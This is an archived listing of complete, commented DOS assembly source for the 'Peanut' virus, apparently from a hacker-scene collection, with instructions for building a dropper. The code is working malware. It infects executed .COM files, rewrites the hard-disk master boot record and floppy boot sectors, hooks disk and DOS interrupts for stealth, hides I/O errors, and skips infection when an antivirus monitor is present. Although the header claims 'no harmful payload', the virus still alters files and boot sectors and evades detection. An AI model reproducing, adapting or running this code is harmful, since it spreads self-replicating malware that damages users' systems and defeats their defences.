home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SOURCE.ZIP / PEANUT.A86 < prev   
Text File  |  1995-01-01  |  20KB  |  403 lines

  1. ;=============================================================================
  2. ;       Virus Name:  Peanut
  3. ; Effective Length:  443 Bytes
  4. ;
  5. ;            Notes:  
  6. ;                  - resident, stealth, multipartite, appending .COM infector
  7. ;                  - infects .COM files when they are executed
  8. ;                  - preserves host file's date/time stamp
  9. ;                  - I/O error messages trapped by virus int24 handler 
  10. ;                  - infects fixed disk MBR
  11. ;                  - post-infection MBR write protection
  12. ;                  - infects boot sectors of all floppy formats on all drives
  13. ;                  - MBR/floppy boot sector stealth
  14. ;                  - boot sector infection not attempted when any TSR A-V
  15. ;                    monitor is present
  16. ;                  - virus fits into a single boot or MBR sector
  17. ;                  - no harmful payload
  18. ;
  19. ;       To Compile:
  20. ;                  - use shareware A86 assembler
  21. ;                  - type "a86 peanut.a86"
  22. ;                  - resulting file peanut.com is virus dropper which,
  23. ;                    if executed, will infect your system with Peanut
  24. ;=============================================================================
  25.  
  26. boot            equ     0108            ;delta offset for boot location
  27. com             equ     0104            ;delta offset for resident location
  28. viruslength     equ     01bb            ;virus length = 443 bytes
  29.  
  30. peanut:
  31.                 db      'M'             ;infection tag at beginning of file
  32.         jmp     start                   ;jump to virus code
  33.  
  34. COM_bytes       db      0cd, 020        ;COM file's original
  35.                 dw      ?               ; first four bytes
  36.  
  37. start:
  38.         call    relative                ;call for offset determination
  39.  
  40. ;-----------------------------------------------------------------------------
  41. ; Relative - determines whether virus is executing from file or at boot time
  42. ; by checking segment registers, all of which will be set to the same value if 
  43. ; the virus code is executing from a .COM file host.
  44. ;-----------------------------------------------------------------------------
  45.  
  46. relative:                                                                       
  47.         pop     bp                      ;pop offset off of stack
  48.  
  49.         push    cs
  50.         pop     ax                      ;set ax=cs
  51.         push    ss
  52.         pop     bx                      ;set bx=ss
  53.         cmp     ax,bx                   ;cs=ss?
  54.         jne     boot_time               ;if not, must be executing at boot
  55.                                         ; time, so jump to boot routine
  56.  
  57. ;-----------------------------------------------------------------------------
  58. ; File_time - infects fixed disk Master Boot Record (MBR) if not already 
  59. ; infected, restores host .COM file's first four bytes at beginning of file, 
  60. ; and jumps to execute host.                                
  61. ;-----------------------------------------------------------------------------
  62.  
  63. file_time:
  64.         lea     bx,[bp+viruslength-03]  ;set load offset just beyond program
  65.         lea     si,[bp-03]              ;set source offset to start of virus
  66.         call    infect_MBR              ;check/infect MBR
  67.  
  68.         mov     di,0100                 ;COM file entry point & move dest.
  69.         push    di                      ;save on stack as return offset 
  70.         lea     si,[bp-07]              ;point to stored COM 1st four bytes
  71.         movsw                           ;move the original four bytes
  72.         movsw                           ; back to the start of the COM file
  73.         ret                             ;return to execute the COM file
  74.                                         ; (return segment already on stack)
  75.  
  76. ;-----------------------------------------------------------------------------
  77. ; Boot_time - infects MBR if not already infected, steals int13, installs 
  78. ; virus in memory. 
  79. ;-----------------------------------------------------------------------------
  80.  
  81. boot_time:
  82.         xor     ax,ax                   ;zero ax
  83.         mov     ds,ax                   ;point ds to vector table
  84.      
  85.         mov     si,07c00                ;set source offset for virus move
  86.  
  87.         cli                             ;disable interrupts
  88.         mov     ss,ax                   ;set stack segment              
  89.         mov     sp,si                   ;set stack pointer              
  90.         sti                             ;enable interrupts
  91.         
  92.         push    ds                      ;save segment for int13 theft
  93.         push    si                      ;save load offset for original MBR
  94.         push    ds                      ;save load segment for original MBR
  95.  
  96.         dec     word ptr [0413]         ;decrease conventional memory by 1KB
  97.         int     012                     ;load ax with #KB of conv. memory
  98.  
  99.         mov     cx,0106                 ;set shift (cl) and move count (cx)
  100.         shl     ax,cl                   ;calculate destination segment
  101.  
  102.         mov     es,ax                   ;set es to destination segment
  103.  
  104.         cmp     dl,080                  ;booting from drive "C"?
  105.         je      steal_int13             ;if so, keep si=07c00
  106.         add     si,03e                  ;otherwise, change si to floppy offset
  107.                                         ; of viral code
  108. steal_int13:
  109.         xchg    [013*4+2],ax            ;point int13 vector to virus segment
  110.         mov     [si+offset old13-boot+2],ax ;store old int13 segment value
  111.         mov     ax,offset chain-com     ;load ax with offset of chain to int13 
  112.         xchg    [013*4],ax              ;point int13 vector to virus offset
  113.         mov     [si+offset old13-boot],ax ;store old int13 offset value
  114.  
  115.         mov     di,04                   ;set destination offset=0004
  116.         push    di                      ;save it for later use as source off.
  117.  
  118.         cld                             ;clear direction flag (fwd)
  119.         rep     movsw                   ;move virus to top of conv. memory
  120.  
  121.         push    es                      ;push destination segment for retf
  122.         mov     ax,offset top_mem-com   ;load bx with offset
  123.         push    ax                      ;push offset for retf
  124.         retf                            ;return to self at new location
  125.  
  126. top_mem:
  127.         pop     si                      ;set si to source offset of virus
  128.         pop     es                      ;pop es=0000 as disk load segment
  129.         pop     bx                      ;set bx=07c00 as disk load offset
  130.                                         
  131.         push    cs
  132.         pop     ds                      ;set ds to source segment of virus
  133.  
  134.         call    infect_MBR              ;check/infect MBR and load original
  135.  
  136.         pop     ds                      ;point to vector table segment
  137.  
  138.         mov     word ptr [013*4],offset int13-com ;enable virus int13 handler
  139.  
  140.         jmp     0000:07c00              ;jump to execute original MBR
  141.  
  142. ;-----------------------------------------------------------------------------
  143. ; Infect_MBR - infects MBR if not already infected.
  144. ;-----------------------------------------------------------------------------
  145.  
  146. infect_MBR:
  147.         mov     ax,0201                 ;read-one-sector function
  148.         mov     cx,01                   ;cylinder 0, sector 1 (MBR)
  149.         mov     dx,080                  ;head 0, drive "C"
  150.         int     013                     ;load MBR
  151.         jc      exit_MBR                ;if flag=error, exit
  152.  
  153.         cmp     byte ptr es:[bx],0e8    ;check for peanut virus code
  154.         je      exit_MBR                ;if equal, MBR already infected, so
  155.                                         ; exit
  156.         mov     ax,0301                 ;write-one-sector function
  157.         inc     cx                      ;cylinder 0, sector 2
  158.         int     013                     ;relocate original MBR to sector 2
  159.  
  160.         mov     di,bx                   ;set dest. offset to MBR in buffer
  161.         mov     cx,viruslength-04       ;load move count to cx
  162.         cld                             ;clear direction flag (fwd)
  163.         rep     movsb                   ;move virus to MBR in memory
  164.  
  165.         mov     ax,0301                 ;write-one-sector function
  166.         inc     cx                      ;cylinder 0, sector 1 (MBR)
  167.         int     013                     ;write infected MBR to drive "C"
  168.  
  169. exit_MBR:
  170.         mov     ax,0201                 ;read-one-sector function
  171.         inc     cx                      ;cylinder 0, sector 2 (original MBR)
  172.         int     013                     ;load MBR for possible execution (if
  173.                                         ; boot-time)
  174.         ret
  175.  
  176. ;-----------------------------------------------------------------------------
  177. ; INT13 Handler - steals int21 upon execution of first .EXE file to avoid 
  178. ; problems on systems which load DOS high, provides MBR stealth/write protect,
  179. ; infects floppies except when TSR A-V monitoring program is present and 
  180. ; provides floppy stealth by zeroing out the virus code in the disk I/O buffer 
  181. ; containing the infected boot sector.  Original floppy boot sector is not 
  182. ; relocated, system simply boots from hard drive after boot from an infected 
  183. ; floppy.  This is VERY easy to miss if the boot from floppy is unintentional,
  184. ; as it usually is.   
  185. ;-----------------------------------------------------------------------------
  186.  
  187. int13:
  188.         push    ds                      ;preserve registers
  189.         push    ax
  190.  
  191.         xor     ax,ax                   ;zero ax
  192.         mov     ds,ax                   ;point ds to vector table
  193.  
  194.         cmp     word ptr es:[bx],'ZM'   ;EXE file being accessed?
  195.         jne     MBR_stealth             ;if not, don't steal int21 yet
  196.  
  197.         cmp     [0b9*4+2],ax            ;bypass flag set (intb9 segment <> 00)?
  198.         jne     MBR_stealth             ;if so, don't steal int21 vector again
  199.  
  200.         mov     ax,cs                   ;set ax=cs
  201.         xchg    [021*4+2],ax            ;point int21 vector to virus segment
  202.         mov     [0b9*4+2],ax            ;point unused vector to DOS int21
  203.         mov     cs:[offset old21-com+2],ax ;store original segment in virus
  204.         mov     ax,offset int21-com     ;load ax with virus int21 handler off.
  205.         xchg    [021*4],ax              ;point int21 vector to virus offset
  206.         mov     [0b9*4],ax              ;point unused vector to DOS int21
  207.         mov     cs:[offset old21-com],ax ;store original offset in virus
  208.  
  209. MBR_stealth:
  210.         pop     ax                      ;restore ax
  211.  
  212.         cmp     cx,01                   ;cylinder 0, sector 1?
  213.         jne     exit_int13              ;if not, no need for stealth, so exit
  214.  
  215.         cmp     dx,080                  ;head 0, drive "C"?
  216.         ja      exit_int13              ;if above, not accessing drive "C" MBR
  217.         jb      infect_floppy           ;if below, must be floppy access
  218.  
  219.         cmp     ah,03                   ;write request?
  220.         je      sim_IO                  ;if so, simulate write
  221.  
  222.         inc     cx                      ;point to original MBR (sector 2)
  223.         call    bios_int13              ;load it to buffer
  224.         dec     cx                      ;restore cx to original value (1)
  225.  
  226. sim_IO:
  227.         xor     ah,ah                   ;set ah=0 to simulate success
  228.         clc                             ;clear carry flag for same
  229.  
  230. read_fail:
  231.         pop     ds                      ;restore ds
  232.         retf    02                      ;return to calling routine
  233.  
  234. infect_floppy:
  235.         cmp     ah,02                   ;read request?
  236.         jne     exit_int13              ;if not, exit
  237.  
  238.         call    bios_int13              ;read boot record
  239.         jc      read_fail               ;if flag=fail, exit       
  240.  
  241.         mov     es:[bx],03ceb           ;write "jmp" (over BPB) at start of 
  242.                                         ; boot record in buffer
  243.         push    si                      ;preserve registers
  244.         push    di
  245.  
  246.         mov     si,04                   ;set virus source offset for move
  247.         lea     di,[bx+03e]             ;set destination offset to beyond BPB
  248.         mov     cx,viruslength-04       ;set move count 
  249.  
  250.         cmp     byte ptr [040*4+3],0c0  ;int40 pointing to ROM?
  251.         push    cs
  252.         pop     ds                      ;set ds=cs
  253.         jb      floppy_stealth          ;if int40 not pointing to ROM, A-V   
  254.                                         ; monitor is present, do not infect
  255.         push    di                      ;save these for
  256.         push    cx                      ; later use
  257.  
  258.         cld                             ;clear direction flag (fwd)
  259.         rep     movsb                   ;infect boot record in buffer
  260.  
  261.         mov     ax,0301                 ;write-one-sector function
  262.         inc     cx                      ;track 0, sector 1
  263.         call    bios_int13              ;write infected boot record
  264.  
  265.         pop     cx                      ;restore move count 
  266.         pop     di                      ; and destination offset
  267.  
  268. floppy_stealth:
  269.         xor     ax,ax                   ;set al to dummy byte (00)
  270.         rep     stosb                   ;overwrite virus code in boot record
  271.                                         ; buffer (for stealth)
  272.         inc     ax                      ;restore ax to original value (1)
  273.         inc     cx                      ;restore cx to original value (1)
  274.  
  275.         pop     di                      ;restore registers
  276.         pop     si
  277.  
  278.         jmp     sim_IO                  ;return sanitized boot record to
  279.                                         ; calling routine
  280. exit_int13:
  281.         pop     ds                      ;restore ds
  282.  
  283. chain   db      0ea                     ;"jmp far" to location specified in
  284.                                         ; old13
  285. old13   dw      ?, ?                    ;offset and segment of original int13
  286.                                         ; handler
  287. bios_int13:
  288.         pushf
  289.         cs:
  290.         call    dword ptr [offset old13-com]  ;call original int13
  291.         ret
  292.  
  293. ;-----------------------------------------------------------------------------
  294. ; INT24 Critical Error "Handler" - hides floppy write-protect errors during 
  295. ; file infection attempts.   
  296. ;-----------------------------------------------------------------------------
  297.  
  298. int24:
  299.         mov     al,03                   ;set al to fail disk I/O errors
  300.         iret
  301.  
  302. ;-----------------------------------------------------------------------------
  303. ; INT21 Handler -  infects COM files when executed, retains file date/time.  
  304. ;-----------------------------------------------------------------------------
  305.  
  306. file_IO1:
  307.         mov     ah,042                  ;move file pointer function
  308.         cwd                             ;set dx=0000 (LSP)
  309. file_IO2:                        
  310.         xor     cx,cx                   ;set cx=0000 (MSP)
  311.         int     0b9                     ;int21 (set file pointer [FP] to BOF)
  312.         mov     cl,04                   ;set file read/write count
  313.         xchg    si,ax                   ;store FP (IO1 call) or handle (IO2)
  314.         mov     ah,040                  ;write to file w/handle function
  315.         xor     di,di                   ;read/write destination offset
  316.         ret              
  317.  
  318. int21:                                                                         
  319.         cmp     ax,04B00                ;execute file request?
  320.         jne     exit_int21              ;if not, exit
  321.  
  322.         push    ax                      ;preserve registers
  323.         push    bx          
  324.         push    dx          
  325.         push    ds          
  326.         push    es          
  327.  
  328.         mov     ax,03D02                ;open file read/write and get handle
  329.         call    file_IO2                ;int21 
  330.         jc      open_fail               ;if file attrib. not read/write, exit
  331.  
  332.         mov     ax,03524                ;get int24 vector function
  333.         int     0b9                     ;int21
  334.         push    es                      ;save original int24 segment
  335.         push    bx                      ; and offset
  336.  
  337.         mov     ax,05700                ;get file date/time function
  338.         mov     bx,si                   ;move handle to bx
  339.         int     0b9                     ;int21
  340.         push    cx                      ;save original file time
  341.         push    dx                      ; and date
  342.  
  343.         push    cs
  344.         pop     ds                      ;set ds=cs
  345.         push    cs
  346.         pop     es                      ;set es=cs
  347.  
  348.         mov     ax,02524                ;set int24 vector function
  349.         mov     dx,offset int24-com     ;set dx to offset of our int24 handler
  350.         call    file_IO2                ;int21 (steal int24)
  351.  
  352.         mov     ah,03F                  ;read file w/handle function
  353.         cwd                             ;set pointer to buffer offset (0)
  354.         int     0b9                     ;int21 (read file's 1st four bytes)
  355.  
  356.         mov     al,'M'                  ;set al=infection tag
  357.         scasb                           ;check file's first byte for tag
  358.         je      close_file              ;if equal, already infected or
  359.                                         ; EXE file
  360.         mov     al,02                   ;move FP, offset (0) from EOF
  361.         call    file_IO1                ;int21 (reset FP to EOF)
  362.  
  363.         mov     cx,viruslength          ;set write count to virus length
  364.         int     0b9                     ;int21 (write virus to EOF)
  365.         jc      close_file              ;if failed, exit
  366.  
  367.         mov     ax,0E94D                ;"jmp" and "M" infection tag
  368.         stosw                           ;write to disk I/O buffer area
  369.         xchg    ax,si                   ;set ax=FP
  370.         stosw                           ;write jump offset to I/O buffer area
  371.         xchg    dx,ax                   ;set al=00 (FP offset (0) from BOF)
  372.         call    file_IO1                ;set FP to BOF
  373.         int     0b9                     ;int21 (write I/O buffer contents
  374.                                         ; to BOF)
  375. close_file:                            
  376.         pop     dx                      ;get original file date
  377.         pop     cx                      ; and time
  378.         mov     ax,05701                ;set file date/time function
  379.         int     0b9                     ;int21
  380.  
  381.         mov     ah,03E                  ;close file w/handle function
  382.         int     0b9                     ;int21
  383.  
  384.         pop     dx                      ;get original int24 vector offset
  385.         pop     ds                      ; and segment
  386.         mov     ax,02524                ;set int24 vector function
  387.         int     0b9                     ;int21
  388.  
  389. open_fail:                            
  390.         pop     es                      ;restore registers
  391.         pop     ds          
  392.         pop     dx          
  393.         pop     bx          
  394.         pop     ax          
  395.  
  396. exit_int21:
  397.  
  398.         db      0ea                     ;"jmp far" to location specified in
  399.                                         ; old21
  400. old21   dw      ?, ?                    ;offset and segment of original int21
  401.  
  402.         end     peanut
  403.